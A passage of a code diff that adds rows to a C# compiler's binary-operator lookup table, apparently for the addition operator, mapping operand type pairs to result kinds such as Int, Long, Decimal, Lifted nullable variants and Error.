BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Long, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | 